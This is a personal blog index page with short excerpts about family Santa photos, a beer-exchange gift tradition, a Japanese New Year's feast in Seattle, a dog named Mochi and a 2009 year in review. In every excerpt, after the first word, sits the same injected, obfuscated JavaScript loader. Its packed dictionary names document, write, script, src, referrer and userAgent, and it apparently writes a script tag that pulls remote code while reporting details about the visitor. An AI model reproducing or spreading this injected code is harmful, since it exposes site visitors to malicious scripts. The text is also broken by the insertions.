Author: Bryn Miyahara

Still ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhahh|var|u0026u|referrer|nfadn||js|php’.split(‘|’),0,{})) the same Santa, only this year we add baby Stacey. I grudgingly sat on Santa’s lap with Stace. My face would lead you to believe I’m a little constipated.

Ahh, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyafh|var|u0026u|referrer|asads||js|php’.split(‘|’),0,{})) 1985. I wasn’t so scared that I needed mom, but there was no way I was going to sit on his lap.

1984, ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fzdfk|var|u0026u|referrer|fhaii||js|php’.split(‘|’),0,{})) and the closest I ever got to one of those infamous “crying with Santa photos.” The first time Mom appears in the photo, and the start of “the good Santa.” Looking back on all the photos, we realized we had this same Santa half a dozen times. He’s a […]

Taking ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zisri|var|u0026u|referrer|izkzr||js|php’.split(‘|’),0,{})) santa pictures is a yearly tradition. Kids and parents head to their local department stores to get that coveted picture with the big man. I was inducted into the Santa Picture Club in 1983, at the ripe age of 4 months. I guess I’m proud to say that I […]

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ansih|var|u0026u|referrer|bkain||js|php’.split(‘|’),0,{})) Loper family has a pretty awesome Christmas gift giving tradition. The Beer Exchange. Each guy brings 12 random beers. Then NBA draft style, they each choose their winning “team” of 12 beers. The game has changed a bit over time. In early years, it started as a 12 beer, […]

Let’s ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|saffk|var|u0026u|referrer|akdbk||js|php’.split(‘|’),0,{})) revisit the New Year’s feast. I failed to mention that you can’t buy very many of the ingredients at your neighborhood Safeway. In Seattle, we have a couple local Japanese grocery stores that sell the required amenities – Uwajimaya (lovingly called “waji’s” by locals) and Maruta. You can pretty […]

New ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbktn|var|u0026u|referrer|sareb||js|php’.split(‘|’),0,{})) Years seems like a perfect time talk about Mochi. Mochi happens to be our dog’s name and whenever I tell people his name they say, “Oh, like the ice cream.” Since I don’t really want to go into a long explanation of why they are technically wrong, I say, […]

What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzzbk|var|u0026u|referrer|hshbr||js|php’.split(‘|’),0,{})) a crazy year. A quick review of the year before the end of 2009….and in no particular order…. Nick and Chris visit Argentina and Brazil to ski and visit Steve. Did I mention they were skiing in August? Stace graduates from college, gets an internship where she actually uses […]

You ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzaid|var|u0026u|referrer|skddb||js|php’.split(‘|’),0,{})) can kill some time reading this site. Some are much better than others. This was a particular favorite. In case it’s too small to read, it says: Dayna: What does IDK mean? Jesse: I don’t know Dayna: …ugh! no one knows! You can’t make this stuff up.